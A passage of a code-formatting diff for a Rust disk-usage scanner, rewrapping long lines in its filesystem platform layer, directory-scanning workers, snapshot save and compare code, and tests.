+ && cfg.load.is_empty() + && snapshot::is_snapshot(Path::new(&positional[0])) + { cfg.load = positional.remove(0); } else { cfg.paths = positional; @@ -168,14 +223,17 @@ fn run(args: Vec) -> i32 { Ok(w) => w, Err(e) => return fail(e), }; - let follow = match scan::parse_follow(&v("follow-symlinks").unwrap_or_else(|| settings.follow_symlinks.clone())) { + let follow = match scan::parse_follow( + &v("follow-symlinks").unwrap_or_else(|| settings.follow_symlinks.clone()), + ) { Ok(f) => f, Err(e) => return fail(e), }; cfg.scan_opts = scan::Options { workers, follow, - one_file_system: b("one-file-system").unwrap_or(settings.one_file_system) || b("x").unwrap_or(false), + one_file_system: b("one-file-system").unwrap_or(settings.one_file_system) + || b("x").unwrap_or(false), excludes, ..Default::default() }; diff --git a/src/platform/mod.rs b/src/platform/mod.rs index d52c8de..bb1a180 100644 --- a/src/platform/mod.rs +++ b/src/platform/mod.rs @@ -117,7 +117,12 @@ fn cvt(r: libc::c_int) -> io::Result { fn open_dir(path: &[u8]) -> io::Result { let c = cstr(path)?; - let fd = cvt(unsafe { libc::open(c.as_ptr(), libc::O_RDONLY | libc::O_DIRECTORY | libc::O_CLOEXEC) })?; + let fd = cvt(unsafe { + libc::open( + c.as_ptr(), + libc::O_RDONLY | libc::O_DIRECTORY | libc::O_CLOEXEC, + ) + })?; Ok(unsafe { OwnedFd::from_raw_fd(fd) }) } @@ -129,7 +134,15 @@ fn stat_at(dirfd: RawFd, name: &CStr, flags: libc::c_int) -> io::Result { if !NO_STATX.load(Ordering::Relaxed) { let mut st: libc::statx = unsafe { std::mem::zeroed() }; let mask = libc::STATX_BASIC_STATS | libc::STATX_BTIME; - let r = unsafe { libc::statx(dirfd, name.as_ptr(), flags | libc::AT_STATX_DONT_SYNC, mask, &mut st) }; + let r = unsafe { + libc::statx( + dirfd, + name.as_ptr(), + flags | libc::AT_STATX_DONT_SYNC, + mask, + &mut st, + ) + }; if r == 0 { let mut m = Meta { mode: mode_from_unix(st.stx_mode as u32), @@ -202,7 +215,11 @@ impl Drop for DirStream { /// Streams the entries of a directory in chunks of up to `chunk`, stat-ing /// each entry relative to the directory fd (no repeated path resolution). /// Returning an error from f stops the read and returns it. -pub fn read_dir>(path: &[u8], chunk: usize, mut f: impl FnMut(Vec) -> Result<(), E>) -> Result<(), E> { +pub fn read_dir>( + path: &[u8], + chunk: usize, + mut f: impl FnMut(Vec) -> Result<(), E>, +) -> Result<(), E> { let fd = open_dir(path)?; let raw = fd.as_raw_fd(); let dir = unsafe { libc::fdopendir(raw) }; @@ -227,7 +244,10 @@ pub fn read_dir>(path: &[u8], chunk: usize, mut f: impl FnMut if nb == b"." || nb == b".." { continue; } - let mut m = stat_at(raw, name, libc::AT_SYMLINK_NOFOLLOW).unwrap_or_else(|e| Meta { err: Some(e), ..Default::default() }); + let mut m = stat_at(raw, name, libc::AT_SYMLINK_NOFOLLOW).unwrap_or_else(|e| Meta { + err: Some(e), + ..Default::default() + }); m.name = nb.to_vec(); out.push(m); if out.len() >= chunk { @@ -387,14 +407,22 @@ fn check_abs(path: &Path) -> io::Result<()> { /// final symlink, and O_NONBLOCK keeps a FIFO swapped in since the scan from /// blocking open(2) forever; callers still check the file type. pub fn open_content(path: &Path) -> io::Result { - std::fs::OpenOptions::new().read(true).custom_flags(libc::O_NOFOLLOW | libc::O_NONBLOCK).open(path) + std::fs::OpenOptions::new() + .read(true) + .custom_flags(libc::O_NOFOLLOW | libc::O_NONBLOCK) + .open(path) } /// Runs a helper program with an argument vector (never a shell), detached /// from the terminal so it cannot disturb the TUI. fn start_detached(name: &str, arg: &Path) -> io::Result<()> { use std::process::{Command, Stdio}; - let mut child = Command::new(name).arg(arg).stdin(Stdio::null()).stdout(Stdio::null()).stderr(Stdio::null()).spawn()?; + let mut child = Command::new(name) + .arg(arg) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn()?; std::thread::spawn(move || child.wait()); Ok(()) } @@ -406,8 +434,16 @@ pub const TRASH_NAME: &str = "trash"; pub fn reveal(path: &Path) -> io::Result<()> { check_abs(path)?; let md = std::fs::symlink_metadata(path)?; - let target = if md.is_dir() { path } else { path.parent().unwrap_or(path) }; - let opener = if cfg!(target_os = "macos") { "open" } else { "xdg-open" }; + let target = if md.is_dir() { + path + } else { + path.parent().unwrap_or(path) + }; + let opener = if cfg!(target_os = "macos") { + "open" + } else { + "xdg-open" + }; start_detached(opener, target) } @@ -417,7 +453,8 @@ pub fn headless() -> bool { if cfg!(target_os = "macos") { return false; } - std::env::var_os("DISPLAY").is_none_or(|v| v.is_empty()) && std::env::var_os("WAYLAND_DISPLAY").is_none_or(|v| v.is_empty()) + std::env::var_os("DISPLAY").is_none_or(|v| v.is_empty()) + && std::env::var_os("WAYLAND_DISPLAY").is_none_or(|v| v.is_empty()) } fn split_parent(path: &Path) -> io::Result<(&Path, &OsStr)> { @@ -430,7 +467,9 @@ fn split_parent(path: &Path) -> io::Result<(&Path, &OsStr)> { fn check_expect(dirfd: RawFd, base: &CStr, want: Expect) -> io::Result { let mut st: libc::stat = unsafe { std::mem::zeroed() }; cvt(unsafe { libc::fstatat(dirfd, base.as_ptr(), &mut st, libc::AT_SYMLINK_NOFOLLOW) })?; - if st.st_uid != want.uid || mode_from_unix(st.st_mode as u32) & mode::TYPE != want.mode & mode::TYPE { + if st.st_uid != want.uid + || mode_from_unix(st.st_mode as u32) & mode::TYPE != want.mode & mode::TYPE + { return Err(other(CHANGED)); } Ok(st) @@ -446,7 +485,11 @@ pub fn delete(path: &Path, want: Expect) -> io::Result<()> { let dfd = open_dir(dir.as_os_str().as_bytes())?; let cbase = cstr(base.as_bytes())?; let st = check_expect(dfd.as_raw_fd(), &cbase, want)?; - remove_at(dfd.as_raw_fd(), &cbase, st.st_mode & libc::S_IFMT == libc::S_IFDIR) + remove_at( + dfd.as_raw_fd(), + &cbase, + st.st_mode & libc::S_IFMT == libc::S_IFDIR, + ) } fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> { @@ -454,7 +497,11 @@ fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> { return cvt(unsafe { libc::unlinkat(dirfd, name.as_ptr(), 0) }).map(|_| ()); } let fd = cvt(unsafe { - libc::openat(dirfd, name.as_ptr(), libc::O_RDONLY | libc::O_DIRECTORY | libc::O_NOFOLLOW | libc::O_CLOEXEC) + libc::openat( + dirfd, + name.as_ptr(), + libc::O_RDONLY | libc::O_DIRECTORY | libc::O_NOFOLLOW | libc::O_CLOEXEC, + ) })?; let sub = unsafe { OwnedFd::from_raw_fd(fd) }; // Collect names first: removing while iterating a DIR stream is unspecified. @@ -475,7 +522,8 @@ fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> { if n.to_bytes() != b"." && n.to_bytes() != b".." { let t = unsafe { (*ent).d_type }; let is_dir = match t { - libc::DT_UNKNOWN => fstat_at(sub.as_raw_fd(), n, libc::AT_SYMLINK_NOFOLLOW).is_ok_and(|m| mode::is_dir(m.mode)), + libc::DT_UNKNOWN => fstat_at(sub.as_raw_fd(), n, libc::AT_SYMLINK_NOFOLLOW) + .is_ok_and(|m| mode::is_dir(m.mode)), t => t == libc::DT_DIR, }; names.push((n.to_owned(), is_dir)); @@ -498,7 +546,15 @@ fn rename_checked(path: &Path, dst: &Path, want: Expect) -> io::Result<()> { let cbase = cstr(base.as_bytes())?; check_expect(dfd.as_raw_fd(), &cbase, want)?; let cdst = cstr(dst.as_os_str().as_bytes())?; - cvt(unsafe { libc::renameat(dfd.as_raw_fd(), cbase.as_ptr(), libc::AT_FDCWD, cdst.as_ptr()) }).map(|_| ()) + cvt(unsafe { + libc::renameat( + dfd.as_raw_fd(), + cbase.as_ptr(), + libc::AT_FDCWD, + cdst.as_ptr(), + ) + }) + .map(|_| ()) } /// Creates dir (mode 0700) if missing; an existing entry must be a real @@ -529,7 +585,9 @@ fn ensure_private_dir(dir: &Path, strict: bool) -> io::Result<()> { fn mount_top(path: &Path, dev: u64) -> PathBuf { let mut cur = path.parent().unwrap_or(path).to_path_buf(); loop { - let Some(parent) = cur.parent() else { return cur }; + let Some(parent) = cur.parent() else { + return cur; + }; match std::fs::metadata(parent) { Ok(m) if m.dev() == dev => cur = parent.to_path_buf(), _ => return cur, @@ -553,7 +611,15 @@ fn local_timestamp() -> String { let mut t: libc::time_t = unsafe { libc::time(std::ptr::null_mut()) }; let mut tm: libc::tm = unsafe { std::mem::zeroed() }; unsafe { libc::localtime_r(&mut t, &mut tm) }; - format!("{:04}-{:02}-{:02}T{:02}:{:02}:{:02}", tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec) + format!( + "{:04}-{:02}-{:02}T{:02}:{:02}:{:02}", + tm.tm_year + 1900, + tm.tm_mon + 1, + tm.tm_mday, + tm.tm_hour, + tm.tm_min, + tm.tm_sec + ) } /// Moves path to the freedesktop.org trash: the home trash when on the same @@ -565,7 +631,9 @@ pub fn trash(path: &Path, want: Expect) -> io::Result<()> { let data_home = match std::env::var_os("XDG_DATA_HOME").filter(|v| !v.is_empty()) { Some(d) => PathBuf::from(d), None => { - let home = std::env::var_os("HOME").filter(|v| !v.is_empty()).ok_or_else(|| other("$HOME is not defined"))?; + let home = std::env::var_os("HOME") + .filter(|v| !v.is_empty()) + .ok_or_else(|| other("$HOME is not defined"))?; PathBuf::from(home).join(".local/share") } }; @@ -575,21 +643,31 @@ pub fn trash(path: &Path, want: Expect) -> io::Result<()> { _ => { let top = mount_top(path, dev); let rel = path.strip_prefix(&top).map_err(|e| other(e.to_string()))?; - (top.join(format!(".Trash-{}", unsafe { libc::getuid() })), rel.as_os_str().as_bytes().to_vec()) + ( + top.join(format!(".Trash-{}", unsafe { libc::getuid() })), + rel.as_os_str().as_bytes().to_vec(), + ) } }; let shared = trash != home; if !shared { use std::os::unix::fs::DirBuilderExt; - std::fs::DirBuilder::new().recursive(true).mode(0o700).create(&trash)?; + std::fs::DirBuilder::new() + .recursive(true) + .mode(0o700) + .create(&trash)?; } else if let Err(e) = ensure_private_dir(&trash, true) { // On a shared filesystem another user could plant a symlink or a // world-writable directory here; refuse rather than follow it. - return Err(other(format!("trash directory {} is unsafe: {e}", trash.display()))); + return Err(other(format!( + "trash directory {} is unsafe: {e}", + trash.display() + ))); } let (files, info) = (trash.join("files"), trash.join("info")); for d in [&files, &info] { - ensure_private_dir(d, shared).map_err(|e| other(format!("trash directory {} is unsafe: {e}", d.display())))?; + ensure_private_dir(d, shared) + .map_err(|e| other(format!("trash directory {} is unsafe: {e}", d.display())))?; } let base = path.file_name().ok_or_else(|| other("no file name"))?; for i in 1..10000 { @@ -604,12 +682,23 @@ pub fn trash(path: &Path, want: Expect) -> io::Result<()> { let mut info_name = name.clone(); info_name.push(".trashinfo"); let ip = info.join(info_name); - let mut f = match std::fs::OpenOptions::new().write(true).create_new(true).mode(0o600).open(&ip) { + let mut f = match std::fs::OpenOptions::new() + .write(true) + .create_new(true) + .mode(0o600) + .open(&ip) + { Ok(f) => f, Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue, Err(e) => return Err(e), }; - let w = write!(f, "[Trash Info]\nPath={}\nDeletionDate={}\n", percent_encode_path(&info_path), local_timestamp()).and_then(|_| f.sync_all()); + let w = write!( + f, + "[Trash Info]\nPath={}\nDeletionDate={}\n", + percent_encode_path(&info_path), + local_timestamp() + ) + .and_then(|_| f.sync_all()); drop(f); if let Err(e) = w.and_then(|_| rename_checked(path, &dst, want)) { let _ = std::fs::remove_file(&ip); @@ -638,7 +727,14 @@ mod tests { std::fs::write(d.join("sub/inner/f"), b"x").unwrap(); let uid = unsafe { libc::getuid() }; assert!(delete(&d.join("sub"), Expect { uid, mode: 0 }).is_err()); - delete(&d.join("sub"), Expect { uid, mode: mode::DIR }).unwrap(); + delete( + &d.join("sub"), + Expect { + uid, + mode: mode::DIR, + }, + ) + .unwrap(); assert!(!d.join("sub").exists()); std::fs::remove_dir_all(&d).unwrap(); } diff --git a/src/scan.rs b/src/scan.rs index f117a7d..ef6852f 100644 --- a/src/scan.rs +++ b/src/scan.rs @@ -38,7 +38,9 @@ pub fn parse_follow(s: &str) -> Result { "none" | "" => Ok(FollowMode::None), "same-filesystem" | "same-fs" => Ok(FollowMode::SameFs), "all" => Ok(FollowMode::All), - _ => Err(format!("invalid --follow-symlinks {s:?} (want none, same-filesystem or all)")), + _ => Err(format!( + "invalid --follow-symlinks {s:?} (want none, same-filesystem or all)" + )), } } @@ -51,7 +53,9 @@ pub fn workers(mode: &str) -> Result { "aggressive" => Ok((8 * cpu).clamp(4, 64)), _ => match mode.trim().parse::() { Ok(n) if (1..=1024).contains(&n) => Ok(n), - _ => Err(format!("invalid workers {mode:?} (conservative, balanced, aggressive or 1-1024)")), + _ => Err(format!( + "invalid workers {mode:?} (conservative, balanced, aggressive or 1-1024)" + )), }, } } @@ -123,7 +127,10 @@ impl Scanner { } pub fn is_done(&self) -> bool { - matches!(self.done.try_recv(), Err(crossbeam_channel::TryRecvError::Disconnected)) + matches!( + self.done.try_recv(), + Err(crossbeam_channel::TryRecvError::Disconnected) + ) } /// Blocks until the scan is done. @@ -235,7 +242,12 @@ pub fn start(root: &[u8], mut opts: Options, cancel: Cancel) -> io::Result io::Result io::Result>, results: Sender if cancel.is_cancelled() { return Err(ReadErr::Cancelled); } - results.send(ScanResult { job: j.clone(), entries: ms, is_final: false, err: None }).map_err(|_| ReadErr::Cancelled) + results + .send(ScanResult { + job: j.clone(), + entries: ms, + is_final: false, + err: None, + }) + .map_err(|_| ReadErr::Cancelled) }) .err() }; - let _ = results.send(ScanResult { job: j, entries: Vec::new(), is_final: true, err }); + let _ = results.send(ScanResult { + job: j, + entries: Vec::new(), + is_final: true, + err, + }); } } @@ -304,7 +339,12 @@ impl Controller { let (res_tx, res_rx) = crossbeam_channel::bounded::(self.opts.result_buf); let mut handles = Vec::with_capacity(self.opts.workers); for i in 0..self.opts.workers { - let (jobs, results, cancel, chunk) = (jobs_rx.clone(), res_tx.clone(), cancel.clone(), self.opts.chunk_size); + let (jobs, results, cancel, chunk) = ( + jobs_rx.clone(), + res_tx.clone(), + cancel.clone(), + self.opts.chunk_size, + ); handles.push( std::thread::Builder::new() .name(format!("scan-worker-{i}")) @@ -332,7 +372,8 @@ impl Controller { let op = sel.select(); let i = op.index(); if Some(i) == send_i { - op.send(&jobs_tx, next.take().unwrap()).expect("workers alive"); + op.send(&jobs_tx, next.take().unwrap()) + .expect("workers alive"); self.head += 1; if self.head > 4096 && self.head * 2 > self.pending.len() { self.pending.drain(..self.head); @@ -366,7 +407,9 @@ impl Controller { next = None; } self.counters.inflight.store(inflight, Ordering::Relaxed); - self.counters.pending.store((self.pending.len() - self.head) as i64, Ordering::Relaxed); + self.counters + .pending + .store((self.pending.len() - self.head) as i64, Ordering::Relaxed); } drop(jobs_tx); for h in handles { @@ -391,7 +434,13 @@ impl Controller { fn make_job(&self, (id, dev): (NodeId, u64)) -> Arc { let path = self.tree.read().unwrap().path_bytes(id); let (in_cache, in_log) = inv::path_hints(&path); - Arc::new(Job { id, path, dev, in_cache, in_log }) + Arc::new(Job { + id, + path, + dev, + in_cache, + in_log, + }) } /// Merges one result into the tree. Reports whether the result completed @@ -399,7 +448,9 @@ impl Controller { fn apply(&mut self, t: &mut Tree, r: ScanResult) -> bool { let j = &*r.job; let mut d = Delta::default(); - self.counters.entries.fetch_add(r.entries.len() as i64, Ordering::Relaxed); + self.counters + .entries + .fetch_add(r.entries.len() as i64, Ordering::Relaxed); for m in r.entries { self.add_entry(t, j, m, &mut d); } @@ -413,7 +464,12 @@ impl Controller { } Some(ReadErr::Io(e)) => { dn.flags |= inv::FLAG_ERROR | inv::FLAG_INCOMPLETE; - t.stats.add_error(ErrorRecord { node: j.id, kind: inv::classify(&e), msg: format!("open: {}", err_msg(&e)), ..Default::default() }); + t.stats.add_error(ErrorRecord { + node: j.id, + kind: inv::classify(&e), + msg: format!("open: {}", err_msg(&e)), + ..Default::default() + }); d.errors += 1; } } @@ -427,7 +483,9 @@ impl Controller { fn excluded(&self, path: &[u8], name: &[u8]) -> bool { self.excludes.iter().any(|(is_path, p)| { if *is_path { - path == p.as_slice() || path.starts_with(p) && path.get(p.len()) == Some(&b'/') || platform::glob_match(p, path) + path == p.as_slice() + || path.starts_with(p) && path.get(p.len()) == Some(&b'/') + || platform::glob_match(p, path) } else { platform::glob_match(p, name) } @@ -438,7 +496,12 @@ impl Controller { if let Some(e) = &m.err { let k = inv::classify(e); if k == inv::ErrKind::Vanished { - t.stats.add_error(ErrorRecord { node: j.id, name: m.name, kind: k, msg: "vanished between listing and stat".into() }); + t.stats.add_error(ErrorRecord { + node: j.id, + name: m.name, + kind: k, + msg: "vanished between listing and stat".into(), + }); d.errors += 1; return; } @@ -446,7 +509,12 @@ impl Controller { let n = t.node_mut(id); n.flags |= inv::FLAG_ERROR; n.errors = 1; - t.stats.add_error(ErrorRecord { node: id, kind: k, msg: format!("stat: {}", err_msg(e)), ..Default::default() }); + t.stats.add_error(ErrorRecord { + node: id, + kind: k, + msg: format!("stat: {}", err_msg(e)), + ..Default::default() + }); d.errors += 1; d.files += 1; t.stats.others += 1; @@ -472,7 +540,12 @@ impl Controller { t.stats.broken_links += 1; broken = true; } - Ok(tm) if platform::mode::is_dir(tm.mode) && tm.has_ino && (self.opts.follow == FollowMode::All || self.opts.follow == FollowMode::SameFs && tm.dev == j.dev) => { + Ok(tm) + if platform::mode::is_dir(tm.mode) + && tm.has_ino + && (self.opts.follow == FollowMode::All + || self.opts.follow == FollowMode::SameFs && tm.dev == j.dev) => + { target = Some(tm); kind = Kind::Dir; } @@ -596,7 +669,11 @@ pub(crate) mod tests { impl TempDir { pub fn new(tag: &str) -> TempDir { static N: AtomicI64 = AtomicI64::new(0); - let p = std::env::temp_dir().join(format!("mapsize-{tag}-{}-{}", std::process::id(), N.fetch_add(1, Ordering::Relaxed))); + let p = std::env::temp_dir().join(format!( + "mapsize-{tag}-{}-{}", + std::process::id(), + N.fetch_add(1, Ordering::Relaxed) + )); std::fs::create_dir_all(&p).unwrap(); TempDir(p) } @@ -609,7 +686,14 @@ pub(crate) mod tests { /// Creates a fan-out tree: (files, dirs, bytes). pub fn mk_tree(dir: &Path, fanout: usize, depth: usize, files: usize) -> (i64, i64, i64) { - fn rec(dir: &Path, d: usize, fanout: usize, depth: usize, files: usize, acc: &mut (i64, i64, i64)) { + fn rec( + dir: &Path, + d: usize, + fanout: usize, + depth: usize, + files: usize, + acc: &mut (i64, i64, i64), + ) { for i in 0..files { let sz = (i + 1) * 100; std::fs::write(dir.join(format!("f{i}.txt")), vec![0u8; sz]).unwrap(); @@ -633,23 +717,38 @@ pub(crate) mod tests { pub fn run_scan(root: &Path, o: Options) -> Tree { let s = start(root.as_os_str().as_bytes(), o, Cancel::new()).unwrap(); - s.done().recv_timeout(std::time::Duration::from_secs(60)).expect_err("scan did not finish (deadlock?)"); + s.done() + .recv_timeout(std::time::Duration::from_secs(60)) + .expect_err("scan did not finish (deadlock?)"); let t = s.tree.read().unwrap().clone(); t } fn totals(t: &Tree) -> Vec<[i64; 4]> { - (0..t.len() as NodeId).map(|i| t.node(i)).map(|n| [n.tot_size, n.tot_alloc, n.files as i64, n.dirs as i64]).collect() + (0..t.len() as NodeId) + .map(|i| t.node(i)) + .map(|n| [n.tot_size, n.tot_alloc, n.files as i64, n.dirs as i64]) + .collect() } #[test] fn counts_and_aggregates() { let root = TempDir::new("scan"); let (nf, nd, bytes) = mk_tree(&root.0, 3, 3, 4); - let mut t = run_scan(&root.0, Options { workers: 4, ..Default::default() }); + let mut t = run_scan( + &root.0, + Options { + workers: 4, + ..Default::default() + }, + ); let r = t.node(0); assert_eq!((r.files as i64, r.dirs as i64), (nf, nd)); - let dir_bytes: i64 = (0..t.len() as NodeId).map(|i| t.node(i)).filter(|n| n.is_dir()).map(|n| n.size).sum(); + let dir_bytes: i64 = (0..t.len() as NodeId) + .map(|i| t.node(i)) + .filter(|n| n.is_dir()) + .map(|n| n.size) + .sum(); assert_eq!(r.tot_size, bytes + dir_bytes); assert!(t.stats.complete && !t.stats.incomplete()); for i in 0..t.len() as NodeId { @@ -661,7 +760,11 @@ pub(crate) mod tests { } let before = totals(&t); t.recompute(); - assert_eq!(before, totals(&t), "incremental aggregates differ from recompute"); + assert_eq!( + before, + totals(&t), + "incremental aggregates differ from recompute" + ); } #[test] @@ -669,8 +772,22 @@ pub(crate) mod tests { let root = TempDir::new("bp"); let (nf, nd, _) = mk_tree(&root.0, 6, 4, 3); for w in [1, 2, 16] { - let t = run_scan(&root.0, Options { workers: w, job_buffer: 1, result_buf: 1, chunk_size: 1, apply_batch: 1, ..Default::default() }); - assert_eq!((t.node(0).files as i64, t.node(0).dirs as i64), (nf, nd), "workers={w}"); + let t = run_scan( + &root.0, + Options { + workers: w, + job_buffer: 1, + result_buf: 1, + chunk_size: 1, + apply_batch: 1, + ..Default::default() + }, + ); + assert_eq!( + (t.node(0).files as i64, t.node(0).dirs as i64), + (nf, nd), + "workers={w}" + ); } } @@ -679,9 +796,22 @@ pub(crate) mod tests { let root = TempDir::new("cancel"); mk_tree(&root.0, 8, 3, 2); let c = Cancel::new(); - let s = start(root.0.as_os_str().as_bytes(), Options { workers: 2, job_buffer: 1, result_buf: 1, chunk_size: 1, ..Default::default() }, c.clone()).unwrap(); + let s = start( + root.0.as_os_str().as_bytes(), + Options { + workers: 2, + job_buffer: 1, + result_buf: 1, + chunk_size: 1, + ..Default::default() + }, + c.clone(), + ) + .unwrap(); c.cancel(); - s.done().recv_timeout(std::time::Duration::from_secs(10)).expect_err("cancel did not stop scan"); + s.done() + .recv_timeout(std::time::Duration::from_secs(10)) + .expect_err("cancel did not stop scan"); let t = s.tree.read().unwrap(); assert!(t.stats.cancelled && t.stats.incomplete()); } @@ -696,12 +826,21 @@ pub(crate) mod tests { std::os::unix::fs::symlink("../a", a.join("self")).unwrap(); std::os::unix::fs::symlink("nowhere", root.0.join("broken")).unwrap(); for f in [FollowMode::None, FollowMode::SameFs, FollowMode::All] { - let t = run_scan(&root.0, Options { workers: 4, follow: f, ..Default::default() }); + let t = run_scan( + &root.0, + Options { + workers: 4, + follow: f, + ..Default::default() + }, + ); let r = t.node(0); assert!(r.files > 0 && r.tot_size > 5000, "{f:?}"); assert_eq!(t.stats.broken_links, 1); assert!(f == FollowMode::None || t.stats.loops_skipped > 0); - let count = (0..t.len() as NodeId).filter(|&i| &*t.node(i).name == b"x").count(); + let count = (0..t.len() as NodeId) + .filter(|&i| &*t.node(i).name == b"x") + .count(); assert_eq!(count, 1, "{f:?}"); } } @@ -713,7 +852,13 @@ pub(crate) mod tests { std::fs::write(&p, vec![0u8; 100000]).unwrap(); std::fs::create_dir(root.0.join("d")).unwrap(); std::fs::hard_link(&p, root.0.join("d/link")).unwrap(); - let t = run_scan(&root.0, Options { workers: 2, ..Default::default() }); + let t = run_scan( + &root.0, + Options { + workers: 2, + ..Default::default() + }, + ); assert_eq!(t.stats.hardlink_dups, 1); assert!(t.node(0).tot_size < 200000); } @@ -729,7 +874,13 @@ pub(crate) mod tests { std::fs::create_dir(&locked).unwrap(); std::fs::write(locked.join("f"), b"x").unwrap(); std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0)).unwrap(); - let t = run_scan(&root.0, Options { workers: 2, ..Default::default() }); + let t = run_scan( + &root.0, + Options { + workers: 2, + ..Default::default() + }, + ); std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0o755)).unwrap(); assert_eq!(t.stats.err_counts[inv::ErrKind::Permission as usize], 1); assert!(t.stats.incomplete()); @@ -745,18 +896,38 @@ pub(crate) mod tests { std::fs::write(root.0.join("keep/b.txt"), b"x").unwrap(); std::fs::write(root.0.join("skip/c.txt"), b"x").unwrap(); let skip = root.0.join("skip").to_string_lossy().into_owned(); - let t = run_scan(&root.0, Options { workers: 2, excludes: vec!["*.tmp".into(), skip], ..Default::default() }); + let t = run_scan( + &root.0, + Options { + workers: 2, + excludes: vec!["*.tmp".into(), skip], + ..Default::default() + }, + ); assert_eq!((t.stats.excluded, t.node(0).files), (2, 1)); } #[test] fn hostile_names_preserved() { let root = TempDir::new("names"); - let names: [&[u8]; 6] = ["日本語.txt".as_bytes(), "emoji-🎉.png".as_bytes(), b"esc\x1b[31mred", b"nl\nname", b"sp ace", b"bad\xffutf8"]; + let names: [&[u8]; 6] = [ + "日本語.txt".as_bytes(), + "emoji-🎉.png".as_bytes(), + b"esc\x1b[31mred", + b"nl\nname", + b"sp ace", + b"bad\xffutf8", + ]; for n in names { std::fs::write(root.0.join(std::ffi::OsStr::from_bytes(n)), b"x").unwrap(); } - let t = run_scan(&root.0, Options { workers: 2, ..Default::default() }); + let t = run_scan( + &root.0, + Options { + workers: 2, + ..Default::default() + }, + ); let got: HashSet<&[u8]> = t.children(0).map(|(_, n)| &*n.name).collect(); for n in names { assert!(got.contains(n), "missing {n:?}"); diff --git a/src/snapshot/compare.rs b/src/snapshot/compare.rs index 08989a7..16b88e2 100644 --- a/src/snapshot/compare.rs +++ b/src/snapshot/compare.rs @@ -28,7 +28,8 @@ pub fn compare(old: Tree, new: &Tree) -> Diff { if !old.node(o).is_dir() || !new.node(n).is_dir() { continue; } - let mut by_name: HashMap<&[u8], NodeId> = old.children(o).map(|(id, c)| (&c.name[..], id)).collect(); + let mut by_name: HashMap<&[u8], NodeId> = + old.children(o).map(|(id, c)| (&c.name[..], id)).collect(); for (id, c) in new.children(n) { if let Some(oid) = by_name.remove(&c.name[..]) { stack.push((oid, id)); @@ -43,7 +44,12 @@ pub fn compare(old: Tree, new: &Tree) -> Diff { } } removed.sort_unstable(); - Diff { old, old_of, removed, removed_under } + Diff { + old, + old_of, + removed, + removed_under, + } } /// Classifies a node. @@ -115,7 +121,10 @@ impl Diff { continue; } let n = new.node(id); - if self.old_of[id as usize] != NO_NODE && n.is_dir() && self.explained_by_child(new, id, delta, m) { + if self.old_of[id as usize] != NO_NODE + && n.is_dir() + && self.explained_by_child(new, id, delta, m) + { continue; } if n.parent != NO_NODE && self.old_of[n.parent as usize] == NO_NODE { @@ -132,9 +141,21 @@ impl Diff { } for &oid in &self.removed { let o = self.old.node(oid).total(m); - out.push(Change { path: self.old.path_string(oid), status: Status::Removed, delta: -o, old: o, new: 0, node: NO_NODE }); + out.push(Change { + path: self.old.path_string(oid), + status: Status::Removed, + delta: -o, + old: o, + new: 0, + node: NO_NODE, + }); } - out.sort_by(|a, b| b.delta.unsigned_abs().cmp(&a.delta.unsigned_abs()).then_with(|| a.path.cmp(&b.path))); + out.sort_by(|a, b| { + b.delta + .unsigned_abs() + .cmp(&a.delta.unsigned_abs()) + .then_with(|| a.path.cmp(&b.path)) + }); if k > 0 { out.truncate(k); } diff --git a/src/snapshot/mod.rs b/src/snapshot/mod.rs index 814ef58..b935b57 100644 --- a/src/snapshot/mod.rs +++ b/src/snapshot/mod.rs @@ -31,7 +31,9 @@ mod compare; pub use compare::*; use crate::brand; -use crate::inventory::{Category, ErrKind, ErrorRecord, Kind, NodeId, Tree, MAX_ERROR_RECORDS, NUM_CATEGORIES}; +use crate::inventory::{ + Category, ErrKind, ErrorRecord, Kind, NodeId, Tree, MAX_ERROR_RECORDS, NUM_CATEGORIES, +}; use crossbeam_channel::Receiver; use flate2::{bufread::GzDecoder, write::GzEncoder, Compression}; use serde::{Deserialize, Serialize}; @@ -91,7 +93,10 @@ struct Meta { /// Reports whether path starts with the snapshot magic. pub fn is_snapshot(path: &Path) -> bool { let mut b = [0u8; 8]; - File::open(path).and_then(|mut f| f.read_exact(&mut b)).is_ok() && &b == brand::SNAPSHOT_MAGIC + File::open(path) + .and_then(|mut f| f.read_exact(&mut b)) + .is_ok() + && &b == brand::SNAPSHOT_MAGIC } /// Accumulates the body; flushes it through the hash and gzip in chunks. @@ -140,14 +145,21 @@ pub fn save(out: &mut dyn Write, t: &Tree) -> io::Result<()> { bw.write_all(brand::SNAPSHOT_MAGIC)?; bw.write_all(&VERSION.to_le_bytes())?; bw.write_all(&FLAG_GZIPPED.to_le_bytes())?; - let mut w = Writer { gz: GzEncoder::new(bw, Compression::fast()), h: Sha256::new(), buf: Vec::with_capacity(256 << 10) }; + let mut w = Writer { + gz: GzEncoder::new(bw, Compression::fast()), + h: Sha256::new(), + buf: Vec::with_capacity(256 << 10), + }; let st = &t.stats; let m = Meta { root: String::from_utf8_lossy(&st.root).into_owned(), created: GoTime::from_system(SystemTime::now()), start: GoTime::from_system(st.start).local(), - end: st.end.map(|e| GoTime::from_system(e).local()).unwrap_or_default(), + end: st + .end + .map(|e| GoTime::from_system(e).local()) + .unwrap_or_default(), complete: st.complete, cancelled: st.cancelled, files: st.files, @@ -223,16 +235,31 @@ pub fn save_file(path: &Path, t: &Tree) -> io::Result<()> { /// Creates a new 0600 file named .mapsize-*.tmp in dir (like os.CreateTemp). fn create_temp(dir: &Path) -> io::Result<(PathBuf, File)> { - let seed = SystemTime::now().duration_since(UNIX_EPOCH).unwrap_or_default().subsec_nanos() ^ std::process::id(); + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .subsec_nanos() + ^ std::process::id(); for i in 0..10000u32 { - let p = dir.join(format!(".mapsize-{}.tmp", seed.wrapping_add(i.wrapping_mul(7919)))); - match OpenOptions::new().write(true).create_new(true).mode(0o600).open(&p) { + let p = dir.join(format!( + ".mapsize-{}.tmp", + seed.wrapping_add(i.wrapping_mul(7919)) + )); + match OpenOptions::new() + .write(true) + .create_new(true) + .mode(0o600) + .open(&p) + { Ok(f) => return Ok((p, f)), 